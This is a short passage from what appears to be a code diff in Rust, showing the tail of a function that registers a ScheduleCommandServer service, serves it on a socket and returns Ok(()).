.add_service(ScheduleCommandServer::new(MyScheduleCommand::default())) + .serve(socket) + .await?; + + Ok(()) +} \ No newline at end of file